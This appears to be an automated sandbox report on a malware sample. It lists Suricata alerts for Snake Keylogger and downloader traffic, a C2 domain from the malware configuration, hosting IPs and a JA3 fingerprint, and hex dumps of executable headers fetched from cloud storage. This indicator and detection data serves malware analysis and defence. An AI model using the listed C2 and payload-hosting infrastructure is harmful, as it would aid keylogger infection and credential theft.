Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.8:49726 -> 142.250.185.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.8:49710 -> 142.250.185.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.8:49711 -> 142.250.185.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.8:49736 -> 142.250.185.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.8:49730 -> 142.250.185.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.8:49745 -> 142.250.185.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.8:49755 -> 142.250.185.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.8:49737 -> 142.250.185.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.8:49750 -> 142.250.185.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.8:49756 -> 142.250.185.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.8:49761 -> 142.250.185.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.8:49769 -> 142.250.185.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.8:49771 -> 142.250.185.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.8:49744 -> 142.250.185.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.8:49780 -> 142.250.185.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.8:49779 -> 142.250.185.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.8:49763 -> 142.250.185.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.8:49749 -> 142.250.185.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.8:49775 -> 142.250.185.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.8:49766 -> 142.250.185.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.8:49765 -> 142.250.185.142:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: xred.mooo.com

Uses dynamic DNS services

Source: unknown

DNS query: name: freedns.afraid.org

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: AliyunOSSDate: Thu, 02 Jan 2025 19:19:59 GMTContent-Type: application/octet-streamContent-Length: 830976Connection: keep-alivex-oss-request-id: 6776E6DF78D3851A82C59DECAccept-Ranges: bytesETag: "D026CFE00B08DA14B0A8B7F8860887D7"Last-Modified: Sat, 02 Nov 2024 18:51:16 GMTx-oss-object-type: Normalx-oss-hash-crc64ecma: 3464722037212978174x-oss-storage-class: Standardx-oss-ec: 0048-00000109Content-Disposition: attachmentx-oss-force-download: trueContent-MD5: 0CbP4AsI2hSwqLf4hgiH1w==x-oss-server-time: 25Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 9c 09 00 00 0e 03 00 00 00 00 00 80 ab 09 00 00 10 00 00 00 b0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 10 0d 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 00 42 2a 00 00 00 00 0b 00 30 05 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 0a 00 80 a9 00 00 00 00 00 00 00 00 00 00 18 40 0a 00 21 00 00 00 00 00 00 00 00 00 00 00 00 40 0a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 4f 44 45 00 00 00 00 ec 9b 09 00 00 10 00 00 00 9c 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 44 41 54 41 00 00 00 00 54 2e 00 00 00 b0 09 00 00 30 00 00 00 a0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 42 53 53 00 00 00 00 00 e5 11 00 00 00 e0 09 00 00 00 00 00 00 d0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 42 2a 00 00 00 00 0a 00 00 2c 00 00 00 d0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 Data Ascii: MZP@!L!This program must be run under Win32$7PEL^B@@B0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: AliyunOSSDate: Thu, 02 Jan 2025 19:20:01 GMTContent-Type: application/octet-streamContent-Length: 4645376Connection: keep-alivex-oss-request-id: 6776E6E178D3851A82C59EB2Accept-Ranges: bytesETag: "85A57509DB3E9DFA7B4E451B8243220D"Last-Modified: Sat, 02 Nov 2024 19:15:45 GMTx-oss-object-type: Normalx-oss-hash-crc64ecma: 11212801109602397947x-oss-storage-class: Standardx-oss-ec: 0048-00000109Content-Disposition: attachmentx-oss-force-download: trueContent-MD5: haV1Cds+nfp7TkUbgkMiDQ==x-oss-server-time: 35Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 9c 09 00 00 42 3d 00 00 00 00 00 80 ab 09 00 00 10 00 00 00 b0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 47 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 00 42 2a 00 00 00 00 0b 00 78 39 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 0a 00 80 a9 00 00 00 00 00 00 00 00 00 00 18 40 0a 00 21 00 00 00 00 00 00 00 00 00 00 00 00 40 0a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 4f 44 45 00 00 00 00 ec 9b 09 00 00 10 00 00 00 9c 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 44 41 54 41 00 00 00 00 54 2e 00 00 00 b0 09 00 00 30 00 00 00 a0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 42 53 53 00 00 00 00 00 e5 11 00 00 00 e0 09 00 00 00 00 00 00 d0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 42 2a 00 00 00 00 0a 00 00 2c 00 00 00 d0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 Data Ascii: MZP@!L!This program must be run under Win32$7PEL^BB=@@G@Bx9<
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: AliyunOSSDate: Thu, 02 Jan 2025 19:20:06 GMTContent-Type: application/octet-streamContent-Length: 9872Connection: keep-alivex-oss-request-id: 6776E6E640E6AE0DD7C5130BAccept-Ranges: bytesETag: "1EDB88F9EE745EAAEE2CBD8219318EB0"Last-Modified: Sat, 02 Nov 2024 15:18:39 GMTx-oss-object-type: Normalx-oss-hash-crc64ecma: 9658441509656194699x-oss-storage-class: Standardx-oss-ec: 0048-00000109Content-Disposition: attachmentx-oss-force-download: trueContent-MD5: HtuI+e50XqruLL2CGTGOsA==x-oss-server-time: 3Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e1 46 52 f6 a5 27 3c a5 a5 27 3c a5 a5 27 3c a5 e3 76 e3 a5 a7 27 3c a5 e3 76 dc a5 a7 27 3c a5 ac 5f af a5 a0 27 3c a5 a5 27 3d a5 b8 27 3c a5 a8 75 dd a5 a4 27 3c a5 a8 75 e2 a5 a4 27 3c a5 52 69 63 68 a5 27 3c a5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 3a ce ab 66 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0c 00 00 20 00 00 00 10 00 00 00 80 00 00 80 a5 00 00 00 90 00 00 00 b0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 00 00 00 10 00 00 00 00 00 00 02 00 40 87 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 b0 00 00 bc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 50 58 30 00 00 00 00 00 80 00 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 e0 55 50 58 31 00 00 00 00 00 20 00 00 00 90 00 00 00 18 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 55 50 58 32 00 00 00 00 00 10 00 00 00 b0 00 00 00 02 00 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$FR'<'<'<v'<v'<_'<'='<u'<u'<Rich'<PEL:f @@
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: AliyunOSSDate: Thu, 02 Jan 2025 19:20:06 GMTContent-Type: application/octet-streamContent-Length: 346414Connection: keep-alivex-oss-request-id: 6776E6E6C44ADA007FC505ADAccept-Ranges: bytesETag: "39E7BE73C7531AC895F75834FDC1BCD6"Last-Modified: Sat, 02 Nov 2024 18:37:48 GMTx-oss-object-type: Normalx-oss-hash-crc64ecma: 12059760812609244457x-oss-storage-class: Standardx-oss-ec: 0048-00000109Content-Disposition: attachmentx-oss-force-download: trueContent-MD5: Oee+c8dTGsiV91g0/cG81g==x-oss-server-time: 1Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 16 c9 9a 88 77 a7 c9 88 77 a7 c9 88 77 a7 c9 3c eb 56 c9 85 77 a7 c9 3c eb 54 c9 06 77 a7 c9 3c eb 55 c9 90 77 a7 c9 08 0c 5a c9 8a 77 a7 c9 08 0c a3 c8 9b 77 a7 c9 08 0c a4 c8 9f 77 a7 c9 08 0c a2 c8 bd 77 a7 c9 81 0f 24 c9 83 77 a7 c9 81 0f 34 c9 8f 77 a7 c9 88 77 a6 c9 92 76 a7 c9 06 0c a2 c8 b9 77 a7 c9 06 0c a7 c8 89 77 a7 c9 06 0c 58 c9 89 77 a7 c9 06 0c a5 c8 89 77 a7 c9 52 69 63 68 88 77 a7 c9 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 b2 cf c8 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 21 00 2e 03 00 00 f6 03 00 00 00 00 00 90 07 02 00 00 10 00 00 00 40 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 07 00 00 04 00 00 00 00 00 00 02 00 40 c1 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 80 e3 03 00 34 00 00 00 b4 e3 03 00 50 00 00 00 00 60 06 00 74 d4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 07 00 dc 23 00 00 b0 c1 03 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 66 03 00 40 00 00 00 00 00 00 00 00 00 00 00 00 40 03 00 78 02 00 00 5c d8 03 00 20 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 cc 2d 03 00 00 10 00 00 00 2e 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d0 b1 00 00 00 40 03 00 00 b2 00 00 00 32 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 50 47 02 00 00 00 04 00 00 12 00 00 00 e4 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 69 64 61 74 00 00 a4 01 00 00 00 50 06 00 00 02 00 00 00 f6 03 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$www<Vw<Tw<UwZwwww$w4wwvwwXwwRichwPELd!.@@p@4
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: AliyunOSSDate: Thu, 02 Jan 2025 19:20:07 GMTContent-Type: application/octet-streamContent-Length: 3483648Connection: keep-alivex-oss-request-id: 6776E6E7494A37041BC52F4FAccept-Ranges: bytesETag: "6AD65B03E75BC5509BA3104510178EE6"Last-Modified: Sat, 02 Nov 2024 15:06:38 GMTx-oss-object-type: Normalx-oss-hash-crc64ecma: 12551179916436374333x-oss-storage-class: Standardx-oss-ec: 0048-00000109Content-Disposition: attachmentx-oss-force-download: trueContent-MD5: atZbA+dbxVCboxBFEBeO5g==x-oss-server-time: 49Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 67 ad 33 d9 23 cc 5d 8a 23 cc 5d 8a 23 cc 5d 8a 46 aa 5e 8b 3d cc 5d 8a 46 aa 59 8b 05 cc 5d 8a 46 aa 58 8b c4 cc 5d 8a 46 aa 5b 8b 20 cc 5d 8a 71 a4 59 8b 01 cc 5d 8a 71 a4 5e 8b 3a cc 5d 8a 71 a4 58 8b 5f cd 5d 8a 46 aa 5c 8b 06 cc 5d 8a 23 cc 5c 8a 35 cf 5d 8a 88 a5 54 8b 20 cc 5d 8a 88 a5 a2 8a 22 cc 5d 8a 23 cc ca 8a 22 cc 5d 8a 88 a5 5f 8b 22 cc 5d 8a 52 69 63 68 23 cc 5d 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 fb 3e 26 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 10 00 1a 18 00 00 52 1d 00 00 00 00 00 09 ba 14 00 00 10 00 00 00 30 18 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 35 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 a4 5b 1d 00 7c 01 00 00 00 50 1e 00 c0 13 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 33 00 88 32 02 00 90 bf 1b 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 c0 1b 00 18 00 00 00 00 c0 1b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 18 00 08 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b0 19 18 00 00 10 00 00 00 1a 18 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 86 62 05 00 00 30 18 00 00 64 05 00 00 1e 18 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 d8 a4 00 00 00 a0 1d 00 00 5e 00 00 00 82 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 c0 13 15 00 00 50 1e 00 00 14 15 00 00 e0 1d 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$g3#]#]#]F^=]FY]FX]F[ ]qY]q^:]qX_]F\]#\5]T ]"]#"]_"]Rich#]PEL>&gR0@5@[\|
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: AliyunOSSDate: Thu, 02 Jan 2025 19:20:12 GMTContent-Type: application/octet-streamContent-Length: 295424Connection: keep-alivex-oss-request-id: 6776E6EC78D3851A82C5A37AAccept-Ranges: bytesETag: "9FD7C0ACC95C7F1311BDE279D0B6A03A"Last-Modified: Sat, 02 Nov 2024 13:26:13 GMTx-oss-object-type: Normalx-oss-hash-crc64ecma: 13157587370901313456x-oss-storage-class: Standardx-oss-ec: 0048-00000109Content-Disposition: attachmentx-oss-force-download: trueContent-MD5: n9fArMlcfxMRveJ50LagOg==x-oss-server-time: 21Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4d b7 62 8a 09 d6 0c d9 09 d6 0c d9 09 d6 0c d9 7a b4 0f d8 04 d6 0c d9 7a b4 09 d8 a0 d6 0c d9 7a b4 08 d8 1f d6 0c d9 5b be 0f d8 1e d6 0c d9 7a b4 0d d8 00 d6 0c d9 09 d6 0d d9 82 d6 0c d9 5b be 09 d8 49 d6 0c d9 5b be 08 d8 28 d6 0c d9 a2 bf 05 d8 08 d6 0c d9 a2 bf f3 d9 08 d6 0c d9 a2 bf 0e d8 08 d6 0c d9 52 69 63 68 09 d6 0c d9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 73 22 26 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 10 00 18 03 00 00 76 01 00 00 00 00 00 2c 3a 01 00 00 10 00 00 00 30 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 04 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 78 47 04 00 3c 00 00 00 00 90 04 00 88 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 04 00 4c 2a 00 00 c0 18 04 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 19 04 00 18 00 00 00 30 19 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 03 00 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0b 16 03 00 00 10 00 00 00 18 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 2a 22 01 00 00 30 03 00 00 24 01 00 00 1c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 40 20 00 00 00 60 04 00 00 12 00 00 00 40 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 88 02 00 00 00 90 04 00 00 04 00 00 00 52 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f Data Ascii: MZ@!L!This program cannot be run in DOS mode.$Mbzzz[z[I[(RichPELs"&gv,:0@@xG<
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: AliyunOSSDate: Thu, 02 Jan 2025 19:20:13 GMTContent-Type: application/octet-streamContent-Length: 208896Connection: keep-alivex-oss-request-id: 6776E6EDC44ADA007FC50825Accept-Ranges: bytesETag: "5E3BC49297F0765C486693790157273F"Last-Modified: Sat, 02 Nov 2024 13:26:13 GMTx-oss-object-type: Normalx-oss-hash-crc64ecma: 2028005770612052367x-oss-storage-class: Standardx-oss-ec: 0048-00000109Content-Disposition: attachmentx-oss-force-download: trueContent-MD5: XjvEkpfwdlxIZpN5AVcnPw==x-oss-server-time: 22Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 f6 73 dc f1 b2 12 b2 a2 b2 12 b2 a2 b2 12 b2 a2 71 1d ed a2 b5 12 b2 a2 71 1d ef a2 a7 12 b2 a2 b2 12 b3 a2 67 13 b2 a2 95 d4 cf a2 ab 12 b2 a2 95 d4 df a2 23 12 b2 a2 95 d4 dc a2 c5 12 b2 a2 95 d4 c0 a2 b0 12 b2 a2 95 d4 c8 a2 b3 12 b2 a2 95 d4 ce a2 b3 12 b2 a2 95 d4 ca a2 b3 12 b2 a2 52 69 63 68 b2 12 b2 a2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 b8 06 26 67 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 08 00 00 00 02 00 00 20 01 00 00 00 00 00 42 dc 00 00 00 10 00 00 00 10 02 00 00 00 00 10 00 10 00 00 00 10 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 70 03 00 00 10 00 00 29 54 03 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 90 7b 02 00 43 00 00 00 70 67 02 00 a0 00 00 00 00 e0 02 00 0c 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 03 00 78 1f 00 00 70 14 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 43 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 02 00 c4 03 00 00 e8 66 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 5e f3 01 00 00 10 00 00 00 00 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d3 6b 00 00 00 10 02 00 00 70 00 00 00 10 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 7c 5a 00 00 00 80 02 00 00 20 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 0c 3a 00 00 00 e0 02 00 00 40 00 00 00 a0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c6 49 00 00 00 20 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$sqqg#RichPEL&g! Bp)T{Cpg:

Source: Joe Sandbox View

IP Address: 69.42.215.252 69.42.215.252

Source: Joe Sandbox View

ASN Name: CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2021245 - Severity 1 - ET MALWARE Possible Dridex Download URI Struct with no referer : 192.168.2.8:49704 -> 47.254.187.72:80
Source: Network traffic	Suricata IDS: 2022550 - Severity 1 - ET MALWARE Possible Malicious Macro DL EXE Feb 2016 : 192.168.2.8:49704 -> 47.254.187.72:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49712 -> 47.254.187.72:80
